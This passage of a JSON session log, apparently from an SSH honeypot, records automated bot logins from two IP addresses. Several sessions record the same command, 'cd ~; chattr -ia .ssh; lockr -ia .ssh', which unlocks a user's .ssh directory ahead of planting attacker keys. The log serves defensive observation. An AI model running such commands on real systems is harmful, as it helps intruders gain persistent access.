  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40843,
  "username": "temp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:32:24.996556+00:00",
  "ended_at": "2026-08-26T15:32:27.126381+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "96e45955-5ec0-4c4b-80d0-bcee4edd7265",
  "name": "pristine-fearless-fennec",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40842,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:32:22.061995+00:00",
  "ended_at": "2026-08-26T15:32:23.507643+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6749b97d-7b2e-42a8-bdc8-99cfa995d58a",
  "name": "wooded-mellow-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40838,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 757,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:30:07.414904+00:00",
  "ended_at": "2026-08-26T15:30:08.845919+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "61699431-f4a8-4044-b450-1821dce17577",
  "name": "brisk-golden-fieldfare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40840,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:29:44.144683+00:00",
  "ended_at": "2026-08-26T15:29:45.711084+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a4b53656-be08-4bab-b89e-7c77ed949cf3",
  "name": "dewy-hazel-raven",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40839,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:29:41.701607+00:00",
  "ended_at": "2026-08-26T15:29:42.649863+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cde989e9-5ca8-4956-b3d5-de0e287d64bf",
  "name": "regal-dusty-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40835,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 762,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:27:28.014575+00:00",
  "ended_at": "2026-08-26T15:27:29.715057+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "7d2d6513-8691-4fe0-bd65-dbd7f9eff26d",
  "name": "snowy-spirited-alpaca",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40837,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:27:06.674969+00:00",
  "ended_at": "2026-08-26T15:27:07.501876+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a973f55c-3843-4df6-bd56-1926981ae784",
  "name": "painted-diligent-cicada",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40836,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:27:03.902623+00:00",
  "ended_at": "2026-08-26T15:27:05.161104+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c6bd8dbf-abde-4be4-b73d-76100143e4e1",
  "name": "rugged-scarlet-galago",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40832,
  "username": "acer",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 751,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:24:37.976212+00:00",
  "ended_at": "2026-08-26T15:24:39.423750+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2241
 },
 {
  "id": "60c5228c-abee-415e-9ec6-50d9ecd0b02a",
  "name": "whispering-crisp-kakapo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40834,
  "username": "acer",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:24:15.827647+00:00",
  "ended_at": "2026-08-26T15:24:17.509470+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4386874c-aa8b-4b0b-b063-675d08724d83",
  "name": "wry-misty-chinchilla",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40833,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:24:12.941046+00:00",
  "ended_at": "2026-08-26T15:24:14.331042+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3694e3c9-045c-4f39-b2d8-d8a17f1b9e01",
  "name": "inland-quartz-jaguar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40829,
  "username": "stperez",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 747,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:21:53.524429+00:00",
  "ended_at": "2026-08-26T15:21:55.142540+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2250
 },
 {
  "id": "9b0adcd7-ec89-4346-a06d-4e43b65eb581",
  "name": "quiet-alpine-woodcock",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40831,
  "username": "stperez",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:21:30.819290+00:00",
  "ended_at": "2026-08-26T15:21:32.596131+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2b8196cb-ce71-466e-b386-4f1e04b03b88",
  "name": "loyal-glassy-zebu",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40830,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:21:27.809421+00:00",
  "ended_at": "2026-08-26T15:21:29.326676+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "eabb46c1-d88e-42ec-91c4-8f9f201e4e05",
  "name": "gallant-nautical-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40826,
  "username": "ehsan",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 754,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:19:07.570401+00:00",
  "ended_at": "2026-08-26T15:19:09.068552+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2248
 },
 {
  "id": "ba76cb7f-ee81-427d-b1cb-cf103b7902b4",
  "name": "hardy-somber-nightjar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40828,
  "username": "ehsan",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:18:45.109104+00:00",
  "ended_at": "2026-08-26T15:18:47.183028+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f4f6bae1-6313-4b22-ae95-9c411d01efd0",
  "name": "orderly-eager-waxwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40827,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:18:41.574341+00:00",
  "ended_at": "2026-08-26T15:18:43.607194+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "43c35472-6d7f-435a-abe5-a40ab6db6e36",
  "name": "frosty-nameless-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40823,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 750,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:16:28.241737+00:00",
  "ended_at": "2026-08-26T15:16:29.345554+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2250
 },
 {
  "id": "f63cc11c-1c67-42e3-b2fe-11e55cdb4fb2",
  "name": "fleeting-velvet-walrus",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40825,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:16:05.704359+00:00",
  "ended_at": "2026-08-26T15:16:07.256163+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e2ace2cf-210d-40c4-9b96-6c337a089478",
  "name": "wry-diligent-egret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40824,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:16:02.987494+00:00",
  "ended_at": "2026-08-26T15:16:04.215878+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cd14acdb-0532-4637-a57b-d4614e87e7b8",
  "name": "nimble-gritty-puffin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40820,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 748,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:13:47.024035+00:00",
  "ended_at": "2026-08-26T15:13:48.740742+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "4eebb87b-a651-4f00-83e4-0b6124533e57",
  "name": "cheerful-solemn-walrus",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40822,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:13:24.742686+00:00",
  "ended_at": "2026-08-26T15:13:25.975533+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dc07be69-24b6-42bb-8e59-68ff8d8091dc",
  "name": "vaulted-sunlit-kestrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40821,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:13:22.267103+00:00",
  "ended_at": "2026-08-26T15:13:23.234404+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2506c4b8-96e2-43e2-9762-00c1218c60bd",
  "name": "hidden-indigo-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 61494,
  "username": "kim",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 292,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:13:18.003964+00:00",
  "ended_at": "2026-08-26T15:13:19.483124+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2246
 },
 {
  "id": "ffe34866-9da7-41d6-a8de-5a509dfd50f7",
  "name": "early-steady-jerboa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 61522,
  "username": "kim",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:12:52.898894+00:00",
  "ended_at": "2026-08-26T15:12:53.883784+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "550038f2-fb36-421e-9d77-a373e36e7456",
  "name": "dutiful-deft-pochard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 61508,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:12:50.383849+00:00",
  "ended_at": "2026-08-26T15:12:52.309662+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b7e8f21d-e68e-4ba7-a684-1d1ce330c1a2",
  "name": "thawing-fleeting-egret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 52494,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 300,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:11:24.442968+00:00",
  "ended_at": "2026-08-26T15:11:26.716417+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "8a19b655-7d8b-4913-9ce0-f0eea4c236dc",
  "name": "velvet-spirited-camel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40817,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 754,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:11:09.396540+00:00",
  "ended_at": "2026-08-26T15:11:11.023513+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "35a976a5-6df3-4c9d-8f1f-3bfa3d918b84",
  "name": "somber-early-roebuck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 52504,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:10:57.018498+00:00",
  "ended_at": "2026-08-26T15:10:58.963119+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "176e36f2-3001-453a-8067-1bb22c715806",
  "name": "blithe-frugal-falcon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 52500,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:10:55.331097+00:00",
  "ended_at": "2026-08-26T15:10:56.418839+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1ffd768a-b55e-4dfb-83b4-470686ac6076",
  "name": "primal-sullen-chough",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40819,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:10:45.827340+00:00",
  "ended_at": "2026-08-26T15:10:47.798337+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0bf9ce45-ba85-4aef-823f-f162307da485",
  "name": "courtly-glacial-sloth",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40818,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:10:43.382953+00:00",
  "ended_at": "2026-08-26T15:10:44.331738+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f881c2e4-7713-4c3b-ba41-1a562cac5584",
  "name": "scarlet-crisp-avocet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 57610,
  "username": "deploy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 285,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:09:33.162109+00:00",
  "ended_at": "2026-08-26T15:09:34.142292+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2257
 },
 {
  "id": "f8d4e1aa-48f8-489e-b7c6-5a02514255ae",
  "name": "cosmic-stormy-catbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 57612,
  "username": "deploy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:09:05.691908+00:00",
  "ended_at": "2026-08-26T15:09:06.877869+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2ac8140c-dd12-43a8-a8e2-6a9fa3af7a2f",
  "name": "painted-gritty-avocet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 57604,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:09:04.134422+00:00",
  "ended_at": "2026-08-26T15:09:05.116640+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3d81e16b-e9d4-4aac-a492-6a2552c55825",
  "name": "fleeting-shaded-marten",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40814,
  "username": "usuario1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 747,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:08:27.168497+00:00",
  "ended_at": "2026-08-26T15:08:28.568238+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2259
 },
 {
  "id": "0b875908-3e19-459b-95ab-e84faa046b06",
  "name": "gentle-lively-quoll",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40816,
  "username": "usuario1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:08:05.000703+00:00",
  "ended_at": "2026-08-26T15:08:07.150844+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "73b1d2fd-5de5-4089-be24-7adec8a8d3f0",
  "name": "sterling-pristine-bittern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40815,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:08:01.627864+00:00",
  "ended_at": "2026-08-26T15:08:03.486634+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "897c001f-3537-4cf6-8ead-4f6972463db6",
  "name": "mindful-graceful-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 56030,
  "username": "usuario1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 301,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:07:35.710506+00:00",
  "ended_at": "2026-08-26T15:07:37.163044+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2259
 },
 {
  "id": "ccb0953d-f01e-4f4d-b138-de884be14982",
  "name": "fickle-eager-numbat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 56058,
  "username": "usuario1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:07:10.177826+00:00",
  "ended_at": "2026-08-26T15:07:11.986369+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8b9ed839-fbe5-463a-a9f3-499efa25a22b",
  "name": "crimson-coral-dolphin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 56046,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:07:08.365951+00:00",
  "ended_at": "2026-08-26T15:07:09.600625+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3c8a58e8-62e7-43b5-ad7c-8cf90e2d120e",
  "name": "regal-slender-goldfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 50998,
  "username": "syncuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 293,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:05:32.726271+00:00",
  "ended_at": "2026-08-26T15:05:34.184077+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2249
 },
 {
  "id": "aed1cbb5-41b6-43a1-a69d-72c042199632",
  "name": "gloomy-woven-shearwater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 51010,
  "username": "syncuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:05:17.670954+00:00",
  "ended_at": "2026-08-26T15:05:19.122304+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0a1e72f0-5836-4d72-a224-cc16a4b41b8e",
  "name": "sleepy-lucid-woodcock",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 51008,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:05:15.472995+00:00",
  "ended_at": "2026-08-26T15:05:17.101291+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0d61be63-1a1c-4452-9b14-fc7706e888d9",
  "name": "thorny-sincere-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40811,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 784,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:05:04.993523+00:00",
  "ended_at": "2026-08-26T15:05:06.290459+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "063f6da1-5205-41aa-9503-ab50dff3aa55",
  "name": "mottled-kindly-cicada",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40813,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:04:41.934516+00:00",
  "ended_at": "2026-08-26T15:04:43.652067+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a8eba080-6119-47da-8115-b2e7a9eb104e",
  "name": "hushed-wandering-blackbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40812,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:04:39.553281+00:00",
  "ended_at": "2026-08-26T15:04:40.421676+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9a9314ef-938f-4455-a66f-2e10dba5a5a7",
  "name": "candid-feathered-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 53630,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 292,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:03:37.292615+00:00",
  "ended_at": "2026-08-26T15:03:38.797555+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "04d5f5ce-07e5-4c0a-9ecc-50e39f5f7d51",
  "name": "keen-scarlet-walrus",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 53636,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:03:20.832150+00:00",
  "ended_at": "2026-08-26T15:03:22.424566+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9fb1042d-99da-4c10-92b0-c1ccfd31ffd4",
  "name": "kindly-nautical-lapwing",
  "protocol": "ssh",
  "channel_kind": null,
